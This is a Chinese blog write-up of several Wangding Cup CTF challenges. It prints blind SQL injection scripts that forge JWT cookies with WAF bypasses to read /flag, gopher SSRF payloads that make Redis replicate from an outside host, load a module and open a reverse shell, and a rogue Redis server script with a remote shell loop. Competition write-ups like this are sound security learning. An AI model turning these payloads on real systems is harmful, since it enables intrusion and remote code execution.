【CTF】网鼎杯【玄武组】CTF部分题


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

网鼎杯【玄武组】CTF部分题

0x01 签到题

0x02 Web(JS_ON)

0x03 ssrfme

0x04 Java 反编译

0x05 勒索病毒分析


网鼎杯【玄武组】CTF部分题

0x01 签到题

查看JS,在JS中找到p14.php,直接copy下来console执行,输入战队的token就可以了

例如:

       http://xxxxx.cloudgame1.ichunqiu.com/css/game_manager.js

得到关键的 POST 发包方式
 

0x02 Web(JS_ON)

顺手输入一个 admin admin,看到下面的信息

啊... ... 一登陆就进去了,而且还给了Key ,有点迷,跑去登录框的页面试了试注入... ...,然后你会收到如下截图:
                                                      
 
哈哈,做个题,还被骂... ...太难了,出题人素质有待加强呀。最后.... ....,key很明显是 JSON Web Token( JWT) 的key,然后猜会不会是JWT伪造?发现是存在在Cooke 处的token 的user 存在注入,刚开始一直在绕waf,很傻逼,空格和select 都被过滤了,空格( /**/)绕过后,select 一直没绕过(很尴尬),最后是通过se<>lect 绕过了过滤
 
最开始一直用DNSlog 来注入,然后发现无法带出数据... ... ,咨询了一下朋友,他们说如果你要用DNSLog 的话,就要用Windows 的DNSLog,要不然你带不出来数据,可能是它这个容器有点问题.. ...(咋也不知道,咋也不敢问),随后放弃DNSLog 盲注,使用盲猜来注入,此时就要写脚本了,脚本是同事写的(我就开始划水了):
#coding:utf-8 
import jwt 
import base64 
import requests 
public = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6" 
flag = "" 
xx = "{}-0123456789abcdefghijklmnopqrstuvwxyz" 
#xx = "{}-0123456789abcdefgl"
#print xx 
for i in range(1,43): 
    for d in xx:
        payload = "admin'/**/and mid(concat(load_file('/flag')),"+str(i)+",1)='"+str(d)+"' and ''='"     
        payload = payload.replace(" ", "/**/") payload=payload.replace("select", "sel<>ect")            
        a = jwt.encode({"user": payload,"news": ""}, key=public, algorithm='HS256') 
        token = {"Cookie":"token="+a} 
        #print payload 
        #print token 

    url = "http://xxxx.clou dgame2.ichunqiu.com/index.php" 
    re = requests.get(url,headers=token) 
    #print re.text 
    if "Message" not in re.text: 
        flag=flag+str(d) 
        print flag 
        continue 
print flag

运行结果:

                                     

网上其它师傅公布的代码:

https://mp.weixin.qq.com/s/Kr2AlygNpeM7UYiLPINcrA

# coding=utf-8

import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
    # print(info)

# payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def half_interval():
    result = ""
    for i in range(1,45):
        min = 32
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2 
            payload = payloadTmpl.format(i,mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
            # print(payload)
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies,proxies=proxies)
            if re.findall("success", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    half_interval()
    # payload = payloadTmpl.format(1,32)
    # jwttoken = {
    #     "user": payload,
    #     "news": "success"
    # }
    # print(jwttoken)
    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
    # print(payload)
    # cookies = dict(token=str(payload))
    # res = requests.get(url,cookies=cookies,proxies=proxies)
    # res.encoding='utf-8'
    # print(res.text)

运行结果:

                                          

0x03 ssrfme

这题思路跑偏了,到了最后一步getshell 一直弄不进去,事后才知道是主从复制的解法,还是太菜了,唉... ...

看看其它师傅们的思路吧

获取到hint的源码,提示ssrf 打 redis,直接写contrab在save的时候提示没权限,写shell不知道路径

一直主从复制也没成功

很坑,没权限

后来检查一下发现目录不对,转移到有权限的/tmp 下面

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

然后,重复主从的步骤,在自己的VPS上起好了 rogue 服务器

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit

服务器监听

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252039.107.68.253%252060003%250d%250aquit

rogue.py

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="xxx.xxx.xxx.xxx"
    lport=60001

运行结果:

                                      

台下言说小伙伴比赛结束后分享的解题WP

Redis Pass 后使用脚本的RCE:https://github.com/xmsec/redis-ssrf

0x04 Java 反编译

这题... ...惨不忍睹,小伙伴没注意看,把获得的Key 给弄错了... ...所以一直解密获取Flag 失败,尴尬。

解法:

主程序逻辑并不复杂,正常的输入,以及将输入进行计算后比对

先对用户输入进行 AES 加密 ,Key 为 aes_check_key!@#,然后进行两次异或,最后 base64 编码

与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较

所以 crack 过程也很简单,逆回来就得到输入,但是中间卡在密钥并不是直接给的密钥,还对密钥里 'e' 和 'o'进行了替换,最终密钥为 aos_chock_koy!@#,逆回去得到flag

                             

0x05 勒索病毒分析

刚开始以为是要对文件进行解密才能拿到Flag,后来发现不对劲,然后自己打开的事件文件文本用win10 打不开,说文本太大了,最后放到win7 下面去打开事件查看器,直接定位被加密文件最后修改的日期,然后往前看,最后定位到此处

得到 ip 时间 登录用户信息
192.200.200.40
2020-4-15_20:01:59
admin

                             


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106306773